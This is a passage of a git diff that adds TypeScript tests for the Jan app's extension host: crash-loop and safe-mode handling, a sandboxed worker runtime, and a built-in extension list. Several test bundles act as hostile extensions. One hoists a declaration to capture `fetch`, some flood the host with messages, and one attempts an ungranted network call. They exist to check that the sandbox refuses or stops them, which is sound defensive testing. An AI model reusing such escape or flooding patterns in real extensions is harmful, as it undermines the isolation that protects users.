() => {+ vi.spyOn(console, 'warn').mockImplementation(() => {})+ vi.useFakeTimers()+ const m = manifest('acme.inst')+ const { name, version, ...jan } = m+ const entry: InstalledExtension = {+ id: m.id,+ version,+ previous: null,+ enabled: true,+ granted: [],+ permissions: [],+ source: { kind: 'bundle', fileName: 'x.tgz', sha512: 'sha512-x' },+ verified: false,+ integrityChecked: false,+ installedAt: '2026-10-23T10:00:00Z',+ manifest: { name, version, jan },+ }+ const registry = {+ list: vi.fn(+ async (): Promise<ListResult> => ({+ safeMode: false,+ safeModeForced: false,+ recoveredFrom: null,+ extensions: [entry],+ })+ ),+ readEntry: vi.fn(async () => ({ code: BUNDLE, sha512: 'sha512-e' })),+ } satisfies InstalledRegistry+ const spawned: ReturnType<typeof fakeWorker>[] = []+ const { host } = newHost(() => {+ const fake = fakeWorker()+ spawned.push(fake)+ return fake.worker+ }, registry)+ await host.loadInstalled()+ expect(host.list()[0].state).toBe('active')++ spawned[0].state.alive = false+ await vi.advanceTimersByTimeAsync(UNTIL_DEAD)+ await vi.waitFor(() => expect(spawned).toHaveLength(2))+ await vi.waitFor(() => expect(host.list()[0].state).toBe('active'))+ expect(spawned[0].state.terminated).toBe(true)+ })+})++describe('a crash of an entry already being stopped', () => {+ it('neither counts nor restarts it', async () => {+ vi.spyOn(console, 'warn').mockImplementation(() => {})+ vi.useFakeTimers()+ const m = manifest('acme.stale')+ const { name, version, ...jan } = m+ const entry: InstalledExtension = {+ id: m.id,+ version,+ previous: null,+ enabled: true,+ granted: [],+ permissions: [],+ source: { kind: 'bundle', fileName: 'x.tgz', sha512: 'sha512-x' },+ verified: false,+ integrityChecked: false,+ installedAt: '2026-10-23T10:00:00Z',+ manifest: { name, version, jan },+ }+ const registry = {+ list: vi.fn(+ async (): Promise<ListResult> => ({+ safeMode: false,+ safeModeForced: false,+ recoveredFrom: null,+ extensions: [entry],+ })+ ),+ readEntry: vi.fn(async () => ({ code: BUNDLE, sha512: 'sha512-e' })),+ } satisfies InstalledRegistry+ const spawned: ReturnType<typeof fakeWorker>[] = []+ const { host, notify } = newHost(() => {+ const fake = fakeWorker()+ spawned.push(fake)+ return fake.worker+ }, registry)+ await host.loadInstalled()+ expect(host.list()[0].state).toBe('active')++ // The worker hangs; the user stops it while two pings are unanswered,+ // and its heartbeat expires while teardown waits on `deactivate`.+ spawned[0].state.alive = false+ await vi.advanceTimersByTimeAsync(PING_INTERVAL_MS * MAX_MISSED_PONGS + 1)+ const stopping = host.terminate(m.id)+ await vi.advanceTimersByTimeAsync(PING_INTERVAL_MS)+ expect(spawned[0].state.terminated).toBe(true)+ await stopping+ await vi.advanceTimersByTimeAsync(PING_INTERVAL_MS * 4)+ expect(spawned).toHaveLength(1)+ expect(host.list()[0].state).toBe('inactive')+ expect(registry.readEntry).toHaveBeenCalledTimes(1)++ // Nor did it count: after it, CRASH_LIMIT - 1 real crashes still get+ // it restarted rather than disabled.+ await host.reload(m.id)+ expect(host.list()[0].state).toBe('active')+ for (let i = 0; i < CRASH_LIMIT - 1; i++) {+ const before = spawned.length+ spawned[before - 1].state.alive = false+ await vi.advanceTimersByTimeAsync(UNTIL_DEAD)+ await vi.waitFor(() => expect(spawned).toHaveLength(before + 1))+ await vi.waitFor(() => expect(host.list()[0].state).toBe('active'))+ }+ expect(notify).not.toHaveBeenCalled()+ })+})++describe('loadWithCrashLoopGuard', () => {+ function guard(settings = memoryAppSettings()) {+ const setSafeMode = vi.fn(async () => {})+ const onSafeMode = vi.fn()+ const onSafeModeFailed = vi.fn()+ let shutdown: (() => void) | undefined+ const run = (load: () => Promise<void>) =>+ loadWithCrashLoopGuard({+ settings,+ setSafeMode,+ onSafeMode,+ onSafeModeFailed,+ onCleanShutdown: (reset) => {+ shutdown = reset+ },+ load,+ })+ const cleanShutdown = () => shutdown?.()+ return { settings, setSafeMode, onSafeMode, onSafeModeFailed, run, cleanShutdown }+ }+ // A start that never reaches 'ready': the window dies while loading.+ const hang = () => new Promise<void>(() => {})+ const counter = (settings: ReturnType<typeof memoryAppSettings>) =>+ settings.data.get(FAILED_STARTS_KEY)++ it('keeps a start counted as failed until it ran the grace period after loading', async () => {+ vi.useFakeTimers()+ const { settings, run } = guard()+ let seen: string | undefined+ await run(async () => {+ seen = counter(settings)+ })+ expect(seen).toBe('1')+ // Loaded, but an extension could still take the window down.+ expect(counter(settings)).toBe('1')+ await vi.advanceTimersByTimeAsync(START_GRACE_MS - 1)+ expect(counter(settings)).toBe('1')+ await vi.advanceTimersByTimeAsync(1)+ expect(counter(settings)).toBe('0')+ })++ it('trips on extensions that kill the window shortly after loading', async () => {+ vi.useFakeTimers()+ const { settings, setSafeMode, onSafeMode, run } = guard()+ for (let i = 0; i < MAX_FAILED_STARTS; i++) {+ // Loading finishes; the window dies 5 s later, before the grace+ // period, so no timer of this start ever fires.+ await run(async () => {})+ await vi.advanceTimersByTimeAsync(5_000)+ expect(counter(settings)).toBe(String(i + 1))+ vi.clearAllTimers()+ }+ expect(setSafeMode).not.toHaveBeenCalled()+ await run(async () => {})+ expect(setSafeMode).toHaveBeenCalledWith(true)+ expect(onSafeMode).toHaveBeenCalledTimes(1)+ })++ it('enables safe mode before loading after two failed starts in a row', async () => {+ vi.useFakeTimers()+ const { settings, setSafeMode, onSafeMode, run } = guard()+ for (let i = 0; i < MAX_FAILED_STARTS; i++) {+ void run(hang)+ await vi.waitFor(() => expect(counter(settings)).toBe(String(i + 1)))+ expect(setSafeMode).not.toHaveBeenCalled()+ }+ const order: string[] = []+ setSafeMode.mockImplementation(async () => void order.push('safe'))+ await run(async () => void order.push('load'))+ expect(setSafeMode).toHaveBeenCalledWith(true)+ expect(onSafeMode).toHaveBeenCalledTimes(1)+ expect(order).toEqual(['safe', 'load'])+ await vi.advanceTimersByTimeAsync(START_GRACE_MS)+ expect(counter(settings)).toBe('0')+ })++ it('does not count a start that was shut down cleanly', async () => {+ vi.useFakeTimers()+ const { settings, setSafeMode, run, cleanShutdown } = guard()+ for (let i = 0; i <= MAX_FAILED_STARTS; i++) {+ // Quit (or reload) while loading, and right after it.+ void run(i === 0 ? hang : async () => {})+ await vi.waitFor(() => expect(counter(settings)).toBe('1'))+ cleanShutdown()+ await vi.waitFor(() => expect(counter(settings)).toBe('0'))+ vi.clearAllTimers()+ }+ expect(setSafeMode).not.toHaveBeenCalled()+ })++ it('does not count a start whose loading failed cleanly once it ran on', async () => {+ vi.useFakeTimers()+ const { settings, setSafeMode, run } = guard()+ for (let i = 0; i <= MAX_FAILED_STARTS; i++) {+ await run(() => Promise.reject(new Error('registry gone'))).catch(+ () => undefined+ )+ await vi.advanceTimersByTimeAsync(START_GRACE_MS)+ }+ expect(setSafeMode).not.toHaveBeenCalled()+ expect(counter(settings)).toBe('0')+ })++ it('still skips loading and tells the user when safe mode cannot be turned on', async () => {+ vi.useFakeTimers()+ const settings = memoryAppSettings()+ settings.data.set(FAILED_STARTS_KEY, String(MAX_FAILED_STARTS))+ const { setSafeMode, onSafeMode, onSafeModeFailed, run } = guard(settings)+ const failure = new Error('registry I/O')+ setSafeMode.mockRejectedValue(failure)+ const load = vi.fn(async () => {})+ await expect(run(load)).resolves.toBeUndefined()+ expect(load).not.toHaveBeenCalled()+ expect(onSafeMode).not.toHaveBeenCalled()+ expect(onSafeModeFailed).toHaveBeenCalledWith(failure)+ // Still counted, so the next start skips loading again.+ await vi.advanceTimersByTimeAsync(START_GRACE_MS)+ expect(counter(settings)).toBe(String(MAX_FAILED_STARTS + 1))+ })++ it('still loads when the counter cannot be read or saved', async () => {+ vi.spyOn(console, 'warn').mockImplementation(() => {})+ for (const broken of ['get', 'set'] as const) {+ const settings = memoryAppSettings()+ vi.spyOn(settings, broken).mockRejectedValue(new Error('disk full'))+ const { setSafeMode, run } = guard(settings)+ const load = vi.fn(async () => {})+ await expect(run(load)).resolves.toBeUndefined()+ expect(load).toHaveBeenCalledTimes(1)+ expect(setSafeMode).not.toHaveBeenCalled()+ }+ })++ it('treats a garbled counter as zero', async () => {+ const settings = memoryAppSettings()+ settings.data.set(FAILED_STARTS_KEY, 'lots')+ const { setSafeMode, run } = guard(settings)+ await run(async () => {})+ expect(setSafeMode).not.toHaveBeenCalled()+ })+})diff --git a/web-app/src/lib/extensions/__tests__/worker-runtime.test.ts b/web-app/src/lib/extensions/__tests__/worker-runtime.test.tsnew file mode 100644index 000000000..180ed7f0e--- /dev/null+++ b/web-app/src/lib/extensions/__tests__/worker-runtime.test.ts@@ -0,0 +1,647 @@+// The sandbox harness runs the real composed worker script (prelude plus+// bundle) in a node:vm realm over a node MessageChannel; jsdom needs no+// Worker. The host side under test is the code the app runs.+import { afterEach, describe, expect, it, vi } from 'vitest'+import type { ValidatedManifest } from '@janhq/extension-api'+import {+ runInSandbox,+ type SandboxWorker,+} from '@janhq/extension-runtime/testing'+import { HOST_BUILTINS } from '../builtins'+import { ContributionStore } from '../contributions'+import { METHOD_POLICY, PermissionDispatcher } from '../dispatcher'+import { ExtensionHost } from '../host'+import { createHostApi } from '../host-api'+import type { ExtensionHttp } from '../http'+import { ExtensionSettingsStore } from '../settings-store'+import {+ MAX_REJECTED_MESSAGES,+ MESSAGE_BURST,+ WORKER_CSP,+ createBlobWorker,+ startWorker,+ workerRealm,+} from '../worker-runtime'+import { fakeHttp } from './fake-http'+import { builtin, manifest } from './fixtures'+import { memoryAppSettings, memorySecrets } from './memory'++const sample = (overrides: Partial<ValidatedManifest> = {}) =>+ manifest('acme.worker', {+ apiVersion: '^1.0.0',+ permissions: ['tools', 'ui:notify'],+ contributes: {+ commands: [{ id: 'hello', title: 'Hello' }],+ statusItems: [{ id: 'status', text: 'idle' }],+ tools: [+ {+ name: 'wait_upper',+ description: 'Uppercases its input, or waits until cancelled',+ inputSchema: { type: 'object' as const },+ },+ ],+ },+ ...overrides,+ })++// Written as a rolldown IIFE would emit it: one global, no imports.+const BUNDLE = `+var JanExtension = (function () {+ function activate(ctx) {+ ctx.subscriptions.add(ctx.commands.registerCommand('hello', function () {+ ctx.ui.setStatusItem('status', { text: 'greeted' });+ ctx.ui.notify({ level: 'info', message: 'hi' });+ return 'done';+ }));+ ctx.subscriptions.add(ctx.tools.registerTool('wait_upper', function (input, token) {+ if (!input.wait) {+ return Promise.resolve({ content: [{ type: 'text', text: String(input.text).toUpperCase() }] });+ }+ return new Promise(function (resolve) {+ token.onCancellationRequested(function () {+ self.__cancelled = true;+ resolve({ content: [{ type: 'text', text: 'cancelled' }] });+ });+ });+ }));+ }+ return { activate: activate };+})();+`++const workers: SandboxWorker[] = []+const hosts: ExtensionHost[] = []++afterEach(async () => {+ for (const host of hosts.splice(0)) await host.deactivateAll()+ workers.splice(0)+})++function newHost() {+ const notify = vi.fn()+ const host = new ExtensionHost({+ appSettings: memoryAppSettings(),+ secrets: memorySecrets(),+ notify,+ createWorker: (source, name) => {+ const worker = runInSandbox(source, { name })+ workers.push(worker)+ return worker+ },+ })+ hosts.push(host)+ return { host, notify }+}++describe('spawnWorkerExtension', () => {+ it('maps the worker registrations into the contribution store', async () => {+ const { host, notify } = newHost()+ const hosted = await host.spawnWorkerExtension({+ manifest: sample(),+ bundle: BUNDLE,+ grants: ['tools', 'ui:notify'],+ source: 'dev',+ })+ expect(hosted).toMatchObject({ id: 'acme.worker', state: 'active', source: 'dev' })+ const state = host.contributions.getState()+ expect(state.tools['acme.worker'].wait_upper.handler).toBeTypeOf('function')+ expect(state.commands['acme.worker'].hello.handler).toBeTypeOf('function')++ await expect(+ host.contributions.executeCommand('acme.worker', 'hello', {+ location: 'commandPalette',+ })+ ).resolves.toBe('done')+ await vi.waitFor(() =>+ expect(+ host.contributions.getState().statusItems['acme.worker'].status.text+ ).toBe('greeted')+ )+ await vi.waitFor(() =>+ expect(notify).toHaveBeenCalledWith({+ extensionName: 'acme.worker',+ level: 'info',+ message: 'hi',+ })+ )+ expect(workers[0].leaks).toEqual([])+ })++ it('round-trips a tool call and cancels it on Stop', async () => {+ const { host } = newHost()+ await host.spawnWorkerExtension({+ manifest: sample(),+ bundle: BUNDLE,+ grants: ['tools', 'ui:notify'],+ source: 'dev',+ })+ const stop = new AbortController()+ await expect(+ host.callTool('acme.worker', 'wait_upper', { text: 'jan' }, { signal: stop.signal })+ ).resolves.toEqual({ content: [{ type: 'text', text: 'JAN' }] })++ const pending = host.callTool(+ 'acme.worker',+ 'wait_upper',+ { wait: true },+ { signal: stop.signal }+ )+ await new Promise((r) => setTimeout(r, 20))+ stop.abort()+ await expect(pending).resolves.toMatchObject({+ error: expect.stringContaining('cancelled'),+ })+ await vi.waitFor(() => expect(workers[0].scope.__cancelled).toBe(true))+ })++ it('terminate clears every registration and stops the worker', async () => {+ const { host } = newHost()+ await host.spawnWorkerExtension({+ manifest: sample(),+ bundle: BUNDLE,+ grants: ['tools', 'ui:notify'],+ source: 'dev',+ })+ await host.terminate('acme.worker')+ const state = host.contributions.getState()+ expect(state.tools['acme.worker']).toBeUndefined()+ expect(state.commands['acme.worker']).toBeUndefined()+ expect(workers[0].terminated).toBe(true)+ expect(host.dispatcher.has('acme.worker', 'tools')).toBe(false)+ expect(host.list()[0].state).toBe('inactive')+ })++ it('fails activation when a registration needs a permission the user did not grant', async () => {+ vi.spyOn(console, 'error').mockImplementation(() => {})+ const { host } = newHost()+ const hosted = await host.spawnWorkerExtension({+ manifest: sample(),+ bundle: BUNDLE,+ grants: ['ui:notify'],+ source: 'dev',+ })+ expect(hosted.state).toBe('failed')+ expect(hosted.error).toMatch(/tools/)+ expect(host.contributions.getState().tools['acme.worker']).toBeUndefined()+ expect(workers[0].terminated).toBe(true)+ })++ it('never grants more than the manifest requests', async () => {+ const { host } = newHost()+ await host.spawnWorkerExtension({+ manifest: sample(),+ bundle: BUNDLE,+ grants: ['tools', 'ui:notify', 'conversations:read'],+ source: 'dev',+ })+ expect(host.dispatcher.has('acme.worker', 'conversations:read')).toBe(false)+ })++ it('reports a bundle that does not load as failed', async () => {+ vi.spyOn(console, 'error').mockImplementation(() => {})+ const { host } = newHost()+ const syntax = await host.spawnWorkerExtension({+ manifest: sample(),+ bundle: 'var JanExtension = {',+ grants: [],+ source: 'dev',+ })+ expect(syntax.state).toBe('failed')+ const missing = await host.spawnWorkerExtension({+ manifest: sample(),+ bundle: 'var Other = {}',+ grants: [],+ source: 'dev',+ })+ expect(missing).toMatchObject({+ state: 'failed',+ error: expect.stringContaining('JanExtension'),+ })+ })++ it('refuses a bundle with hoisted declarations before creating a worker', async () => {+ vi.spyOn(console, 'error').mockImplementation(() => {})+ const { host } = newHost()+ const hosted = await host.spawnWorkerExtension({+ manifest: sample(),+ bundle: `function Set() { self.__net = fetch }\n${BUNDLE}`,+ grants: [],+ source: 'dev',+ })+ expect(hosted).toMatchObject({+ state: 'failed',+ error: expect.stringContaining("'var JanExtension = <expression>'"),+ })+ expect(workers).toHaveLength(0)+ })++ it('gives ctx.http.fetch to installed extensions only, through the plugin', async () => {+ const server = fakeHttp(() => ({ body: 'pong' }))+ const host = new ExtensionHost({+ appSettings: memoryAppSettings(),+ secrets: memorySecrets(),+ notify: vi.fn(),+ http: server.http,+ createWorker: (source, name) => {+ const worker = runInSandbox(source, { name })+ workers.push(worker)+ return worker+ },+ })+ hosts.push(host)+ const bundle = `var JanExtension = { activate: function (ctx) {+ return ctx.http.fetch('http://127.0.0.1:11999/').then(+ function (r) { self.__result = r.status + ' ' + r.body },+ function (e) { self.__result = e.code + ': ' + e.message }+ );+ } };`+ const spawn = (id: string, source: 'dev' | 'installed') =>+ host.spawnWorkerExtension({+ manifest: manifest(id, { permissions: ['network:127.0.0.1'] }),+ bundle,+ grants: ['network:127.0.0.1'],+ source,+ })+ await spawn('acme.installed', 'installed')+ expect(workers[0].scope.__result).toBe('200 pong')+ expect(server.sent).toEqual([+ expect.objectContaining({ extensionId: 'acme.installed' }),+ ])+ // A folder loaded for development has no registry entry for the plugin+ // to check its grants against, so it gets no network path.+ await spawn('acme.dev', 'dev')+ expect(workers[1].scope.__result).toMatch(+ /^E_NOT_FOUND: .*only available to installed extensions/+ )+ expect(server.sent).toHaveLength(1)+ })++ it("reserves built-in ids and the 'jan.' prefix for built-ins", async () => {+ vi.spyOn(console, 'error').mockImplementation(() => {})+ const { host } = newHost()+ await host.activateBuiltin(builtin(manifest('acme.builtin'), { activate: () => {} }))+ await host.deactivateAll()+ for (const id of ['jan.assistant', 'jan.anything', 'acme.builtin']) {+ await expect(+ host.spawnWorkerExtension({+ manifest: sample({ id }),+ bundle: BUNDLE,+ grants: [],+ source: 'dev',+ })+ ).rejects.toMatchObject({ code: 'E_PERMISSION' })+ }+ // The inactive built-in keeps its entry.+ expect(host.list()).toEqual([+ expect.objectContaining({ id: 'acme.builtin', source: 'builtin' }),+ ])+ expect(workers).toHaveLength(0)+ for (const b of HOST_BUILTINS) expect(b.manifest.id).toMatch(/^jan\./)+ })++ it('refuses a network call outside the grants', async () => {+ const server = fakeHttp(() => ({}))+ const host = new ExtensionHost({+ appSettings: memoryAppSettings(),+ secrets: memorySecrets(),+ notify: vi.fn(),+ http: server.http,+ createWorker: (source, name) => {+ const worker = runInSandbox(source, { name })+ workers.push(worker)+ return worker+ },+ })+ hosts.push(host)+ const bundle = `var JanExtension = { activate: function (ctx) {+ return ctx.http.fetch('https://example.com/').then(+ function () { self.__result = 'allowed' },+ function (e) { self.__result = e.code }+ );+ } };`+ await host.spawnWorkerExtension({+ manifest: manifest('acme.net', { permissions: ['network:127.0.0.1'] }),+ bundle,+ grants: ['network:127.0.0.1'],+ source: 'installed',+ })+ expect(workers[0].scope.__result).toBe('E_PERMISSION')+ expect(server.sent).toEqual([])+ })++ it('unload stops a worker extension and removes it from the list', async () => {+ const { host } = newHost()+ await host.spawnWorkerExtension({+ manifest: sample(),+ bundle: BUNDLE,+ grants: ['tools', 'ui:notify'],+ source: 'dev',+ })+ const listener = vi.fn()+ host.onDidChange(listener)+ await host.unload('acme.worker')+ expect(host.list()).toEqual([])+ expect(workers[0].terminated).toBe(true)+ expect(host.contributions.getState().tools['acme.worker']).toBeUndefined()+ expect(listener).toHaveBeenCalled()+ })++ it('unload removes a failed worker extension too', async () => {+ vi.spyOn(console, 'error').mockImplementation(() => {})+ const { host } = newHost()+ await host.spawnWorkerExtension({+ manifest: sample(),+ bundle: 'var Other = {}',+ grants: [],+ source: 'dev',+ })+ await host.unload('acme.worker')+ expect(host.list()).toEqual([])+ })++ it('refuses to unload a built-in', async () => {+ const { host } = newHost()+ await host.activateBuiltin(+ builtin(manifest('jan.core'), { activate: () => {} })+ )+ await expect(host.unload('jan.core')).rejects.toThrow(/built-in/)+ expect(host.list()[0].state).toBe('active')+ })++ it('honours proposals only for dev loads', async () => {+ vi.spyOn(console, 'error').mockImplementation(() => {})+ const { host } = newHost()+ const proposing = sample({ proposals: ['chat'] })+ const installed = await host.spawnWorkerExtension({+ manifest: proposing,+ bundle: BUNDLE,+ grants: ['tools', 'ui:notify'],+ source: 'installed',+ })+ expect(installed).toMatchObject({+ state: 'failed',+ error: expect.stringContaining('proposals'),+ })+ await host.unload('acme.worker')+ const dev = await host.spawnWorkerExtension({+ manifest: proposing,+ bundle: BUNDLE,+ grants: ['tools', 'ui:notify'],+ source: 'dev',+ })+ expect(dev.state).toBe('active')+ })+})++describe('startWorker', () => {+ function start(bundle: string, http?: ExtensionHttp) {+ const m = manifest('acme.net', { permissions: ['network:127.0.0.1'] })+ const dispatcher = new PermissionDispatcher()+ dispatcher.grant(m.id, m.permissions)+ const api = createHostApi(m, {+ dispatcher,+ contributions: new ContributionStore(),+ settings: new ExtensionSettingsStore({+ appSettings: memoryAppSettings(),+ secrets: memorySecrets(),+ }),+ storage: memoryAppSettings(),+ notify: vi.fn(),+ http,+ })+ let worker: SandboxWorker | undefined+ const started = startWorker({+ manifest: m,+ bundle,+ dispatcher,+ api,+ createWorker: (source, name) => {+ worker = runInSandbox(source, { name })+ return worker+ },+ })+ return { started, worker: () => worker }+ }++ it('cancels the plugin request when the worker cancels it', async () => {+ const server = fakeHttp(() => ({ hang: true }))+ // A request and its cancel on the wire, as the worker endpoint sends+ // them when a call times out or its token fires.+ const { started } = start(+ `var JanExtension = { activate: function () {+ self.postMessage({ v: 1, t: 'req', id: 9001, method: 'http.fetch', args: ['http://127.0.0.1:1/a'] });+ setTimeout(function () { self.postMessage({ v: 1, t: 'cancel', id: 9001 }) }, 20);+ } };`,+ server.http+ )+ const connection = await started+ await vi.waitFor(() =>+ expect(server.http.httpCancel).toHaveBeenCalledWith(+ 'acme.net',+ server.sent[0].requestId+ )+ )+ connection.terminate()+ })++ it('cancels plugin requests when the worker is terminated', async () => {+ const server = fakeHttp(() => ({ hang: true }))+ const { started } = start(+ `var JanExtension = { activate: function (ctx) {+ ctx.http.fetch('http://127.0.0.1:1/b').catch(function () {});+ } };`,+ server.http+ )+ const connection = await started+ await vi.waitFor(() => expect(server.sent).toHaveLength(1))+ expect(server.http.httpCancel).not.toHaveBeenCalled()+ connection.terminate()+ expect(server.http.httpCancel).toHaveBeenCalledWith(+ 'acme.net',+ server.sent[0].requestId+ )+ })++ it('terminates a worker that keeps sending refused messages', async () => {+ vi.spyOn(console, 'warn').mockImplementation(() => {})+ const { started, worker } = start(+ `var JanExtension = { activate: function () {+ for (var i = 0; i < ${MAX_REJECTED_MESSAGES}; i++) self.postMessage('junk');+ return new Promise(function () {});+ } };`+ )+ await expect(started).rejects.toMatchObject({ code: 'E_INVALID_ARGS' })+ expect(worker()?.terminated).toBe(true)+ })++ it('terminates a worker that floods well-formed calls', async () => {+ vi.spyOn(console, 'warn').mockImplementation(() => {})+ vi.spyOn(console, 'info').mockImplementation(() => {})+ const parse = vi.spyOn(METHOD_POLICY.log.args, 'safeParse')+ const { started, worker } = start(+ `var JanExtension = { activate: function () {+ setTimeout(function () {+ for (var i = 0; i < ${MESSAGE_BURST * 4}; i++)+ self.postMessage({ v: 1, t: 'req', id: i + 1, method: 'log', args: ['info', 'x'] });+ }, 10);+ } };`+ )+ await started+ await vi.waitFor(() => expect(worker()?.terminated).toBe(true))+ // Calls over the budget never reached argument validation.+ expect(parse.mock.calls.length).toBeLessThanOrEqual(MESSAGE_BURST + 1)+ parse.mockRestore()+ })++ it('terminates a worker that floods pongs no ping asked for', async () => {+ vi.spyOn(console, 'warn').mockImplementation(() => {})+ const { started, worker } = start(+ `var JanExtension = { activate: function () {+ setTimeout(function () {+ for (var i = 0; i < ${MESSAGE_BURST * 4}; i++)+ self.postMessage({ v: 1, t: 'pong', n: 0 });+ }, 10);+ } };`+ )+ await started+ await vi.waitFor(() => expect(worker()?.terminated).toBe(true))+ })++ it('terminates a worker that keeps making calls it is refused', async () => {+ vi.spyOn(console, 'warn').mockImplementation(() => {})+ const { started, worker } = start(+ `var JanExtension = { activate: function () {+ setTimeout(function () {+ for (var i = 0; i < ${MAX_REJECTED_MESSAGES}; i++)+ self.postMessage({ v: 1, t: 'req', id: i + 1, method: 'ui.notify', args: [{ level: 'info', message: 'x' }] });+ }, 10);+ } };`+ )+ await started+ await vi.waitFor(() => expect(worker()?.terminated).toBe(true))+ })++ it('lets a worker that stays within the budget run', async () => {+ vi.spyOn(console, 'info').mockImplementation(() => {})+ const { started, worker } = start(+ `var JanExtension = { activate: function (ctx) {+ for (var i = 0; i < ${MESSAGE_BURST - 10}; i++) ctx.log.info('x');+ } };`+ )+ const connection = await started+ await new Promise((r) => setTimeout(r, 50))+ expect(worker()?.terminated).toBe(false)+ connection.terminate()+ })++ it('terminates a running worker that floods oversized messages', async () => {+ vi.spyOn(console, 'warn').mockImplementation(() => {})+ const { started, worker } = start(+ `var JanExtension = { activate: function () {+ setTimeout(function () {+ var big = new Array(5 * 1024 * 1024).join('x');+ for (var i = 0; i < ${MAX_REJECTED_MESSAGES}; i++)+ self.postMessage({ v: 1, t: 'evt', sub: 1, value: big });+ }, 10);+ } };`+ )+ await started+ await vi.waitFor(() => expect(worker()?.terminated).toBe(true))+ })+})++describe('createBlobWorker', () => {+ afterEach(() => {+ for (const frame of document.querySelectorAll('iframe')) frame.remove()+ })++ /** Fakes the realm the workers are built in; jsdom has no Worker. */+ function fakeRealm() {+ const realm = workerRealm(document)+ const created: { url: string; name?: string; terminate: () => void }[] =+ []+ const revoke = vi.fn()+ const blobs: Blob[] = []+ class FakeWorker {+ terminate = vi.fn()+ constructor(url: string, options?: { name?: string }) {+ created.push({ url, name: options?.name, terminate: this.terminate })+ }+ addEventListener() {}+ removeEventListener() {}+ postMessage() {}+ }+ Object.assign(realm, {+ Worker: FakeWorker,+ URL: {+ createObjectURL: (blob: Blob) => {+ blobs.push(blob)+ return `blob:test/${blobs.length}`+ },+ revokeObjectURL: revoke,+ },+ })+ return { realm, created, revoke, blobs }+ }++ it('blocks every network primitive by CSP, not only by stripping globals', () => {+ const directives = WORKER_CSP.split(';').map((d) => d.trim())+ expect(directives).toContain("default-src 'none'")+ // Nothing may reopen connect-src (or the other fetch directives).+ expect(+ directives.filter((d) => /^(connect|font|img|media|script)-src\b/.test(d))+ ).toEqual(["script-src 'wasm-unsafe-eval'"])+ expect(directives).toContain('worker-src blob:')+ })++ it('builds the worker in a hidden frame whose document carries the worker CSP', () => {+ const { realm, created, blobs } = fakeRealm()+ createBlobWorker('self.x = 1', 'ext:acme.one')+ expect(created).toEqual([+ expect.objectContaining({ url: 'blob:test/1', name: 'ext:acme.one' }),+ ])+ expect(blobs[0].type).toBe('text/javascript')+ const frames = document.querySelectorAll('iframe')+ expect(frames).toHaveLength(1)+ const [frame] = frames+ expect(frame.contentWindow === realm).toBe(true)+ expect(frame.hidden).toBe(true)+ expect(frame.getAttribute('aria-hidden')).toBe('true')+ const meta = frame.contentDocument?.head.querySelector('meta')+ expect(meta?.httpEquiv).toBe('Content-Security-Policy')+ expect(meta?.content).toBe(WORKER_CSP)+ })++ it('reuses the frame, and replaces it once it left the document', () => {+ const first = workerRealm(document)+ expect(workerRealm(document) === first).toBe(true)+ document.querySelector('iframe')?.remove()+ const second = workerRealm(document)+ // Compared by identity: jsdom cannot print a detached frame's window.+ expect(second === first).toBe(false)+ expect(second === document.querySelector('iframe')?.contentWindow).toBe(+ true+ )+ expect(document.querySelectorAll('iframe')).toHaveLength(1)+ })++ it('keeps one frame per document', () => {+ const first = workerRealm(document)+ const other = document.createElement('iframe')+ document.body.appendChild(other)+ const otherDoc = other.contentDocument as Document+ const inOther = workerRealm(otherDoc)+ expect(inOther === first).toBe(false)+ expect(otherDoc.querySelectorAll('iframe')).toHaveLength(1)+ // Asking for the other document's frame left this one alone.+ expect(workerRealm(document) === first).toBe(true)+ other.remove()+ })++ it('revokes the blob URL on terminate even if the script never ran', () => {+ const { created, revoke } = fakeRealm()+ createBlobWorker('while (true) {}', 'ext:acme.loop').terminate()+ expect(created[0].terminate).toHaveBeenCalled()+ expect(revoke).toHaveBeenCalledWith('blob:test/1')+ })+})diff --git a/web-app/src/lib/extensions/builtins.ts b/web-app/src/lib/extensions/builtins.tsnew file mode 100644index 000000000..a56d6c892--- /dev/null+++ b/web-app/src/lib/extensions/builtins.ts@@ -0,0 +1,104 @@+import type { ExtensionModule, ValidatedManifest } from '@janhq/extension-api'+import * as assistant from '../../../../extensions/assistant-extension/package.json'+import * as download from '../../../../extensions/download-extension/package.json'+import * as llamacpp from '../../../../extensions/llamacpp-extension/package.json'+import * as mlx from '../../../../extensions/mlx-extension/package.json'+import * as vectorDb from '../../../../extensions/vector-db-extension/package.json'+import * as rag from '../../../../extensions/rag-extension/package.json'++/**+ * A built-in that runs in the host process through `activate(ctx)`. The+ * manifest comes from the package's `jan` field and is validated at build+ * time by the builtins test.+ *+ * Its calls take the same dispatcher path as a worker's, so the same+ * argument checks apply: contribution ids follow the manifest grammar+ * (`isContributionId`), messages and status texts have the same length+ * caps. The worker limits do not apply (`BUILTIN_LIMITS`): no notification+ * rate, no cap on listeners per event or requests at once, no log budget.+ */+export interface BuiltinExtension {+ manifest: ValidatedManifest+ /** Lazy, so extension code stays out of the boot bundle graph. */+ load(): Promise<ExtensionModule>+ /** Ids of built-ins that must be active first. */+ dependsOn?: string[]+ /** Runs on mobile (no native plugin dependencies). Desktop-only otherwise. */+ mobile?: boolean+}++// Read field by field off the namespace import (never the whole object) so+// the bundler keeps only these exports of each package.json.+const manifestOf = (pkg: {+ name: string+ version: string+ jan: Omit<ValidatedManifest, 'name' | 'version'>+}): ValidatedManifest => ({ ...pkg.jan, name: pkg.name, version: pkg.version })++/**+ * The built-ins the host activates, in no particular order (dependsOn+ * decides).+ */+export const HOST_BUILTINS: BuiltinExtension[] = [+ {+ manifest: manifestOf({+ name: assistant.name,+ version: assistant.version,+ jan: assistant.jan,+ }),+ load: () => import('@janhq/assistant-extension'),+ },+ {+ manifest: manifestOf({+ name: download.name,+ version: download.version,+ jan: download.jan,+ }),+ load: () => import('@janhq/download-extension'),+ },+ {+ manifest: manifestOf({+ name: llamacpp.name,+ version: llamacpp.version,+ jan: llamacpp.jan,+ }),+ // No dependsOn download: the engines look the Downloads service up per+ // download, so a failed download built-in must not take inference down.+ load: () => import('@janhq/llamacpp-extension'),+ },+ {+ manifest: manifestOf({+ name: vectorDb.name,+ version: vectorDb.version,+ jan: vectorDb.jan,+ }),+ load: () => import('@janhq/vector-db-extension'),+ },+ {+ manifest: manifestOf({+ name: rag.name,+ version: rag.version,+ // JSON imports widen the control `type` literals to string; the+ // builtins test checks this against validateManifest.+ jan: rag.jan as Omit<ValidatedManifest, 'name' | 'version'>,+ }),+ load: () => import('@janhq/rag-extension'),+ dependsOn: ['jan.vector-db'],+ },+]++// The MLX extension depends on @janhq/tauri-plugin-mlx-api, which only exists+// on macOS. IS_MACOS is a build-time constant, so this import() is dead-code+// eliminated 